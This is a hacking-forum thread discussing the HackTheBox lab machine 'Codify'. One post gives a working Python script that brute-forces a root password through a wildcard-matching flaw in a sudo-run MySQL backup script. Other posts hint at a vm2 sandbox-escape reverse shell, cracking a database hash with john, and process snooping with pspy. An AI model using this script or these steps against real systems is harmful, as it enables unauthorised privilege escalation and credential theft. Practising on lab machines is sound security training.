HTB - Codify
by chillywilly - Saturday November 4, 2023 at 07:13 PM
#41
import string import subprocess all_characters_and_numbers = list(string.ascii_letters + string.digits) password = "" found = False while not found:     for character in all_characters_and_numbers:         command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"         output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout         if "Password confirmed!" in output:             password += character             print(password)             break     else:         found = True
Reply
#42
Is the hash in /var/www/contact/ useful?
Reply
#43
Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)
Reply
#44
(11-05-2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?
Reply
#45
(11-05-2023, 07:17 AM)xts Wrote:
(11-05-2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?

su - 
and paste your passwd
Reply
#46
(11-05-2023, 07:17 AM)xts Wrote:
(11-05-2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?
Reply
#47
(11-05-2023, 04:10 PM)intersteller2038 Wrote:
(11-05-2023, 07:17 AM)xts Wrote:
(11-05-2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above
Reply
#48
(11-05-2023, 04:20 PM)0BL1V10N Wrote:
(11-05-2023, 04:10 PM)intersteller2038 Wrote:
(11-05-2023, 07:17 AM)xts Wrote:
(11-05-2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above


Got it, but is there any other way of solving the machine?
Reply
#49
(11-04-2023, 07:13 PM)chillywilly Wrote: lets goooooo  Big Grin

hopefully the box starts working off to a rough start
its a node.js box

dont really enjoy stuff but here goes nothing
Reply
#50
(11-05-2023, 04:56 PM)intersteller2038 Wrote:
(11-05-2023, 04:20 PM)0BL1V10N Wrote:
(11-05-2023, 04:10 PM)intersteller2038 Wrote:
(11-05-2023, 07:17 AM)xts Wrote:
(11-05-2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above


Got it, but is there any other way of solving the machine?

Yes, you can run the sudo command and then pspy and you will find something interesting
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 106 42,238 10-31-2026, 07:33 PM
Last Post: aistax
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 383 138,758 10-31-2026, 11:47 AM
Last Post: thaytoiyeucoay30nam
  HTB PWN- Oxidized ROP macavitysworld 4 1,045 10-29-2026, 01:01 PM
Last Post: A1Raid3r
  HTB - code + titanic walkthrough | free tony_boom23 3 7,262 10-25-2026, 06:35 AM
Last Post: A1Raid3r
  HTB apt lab note zapot 14 35,535 10-03-2026, 08:09 PM
Last Post: whuuaa



 Users browsing this thread: 1 Guest(s)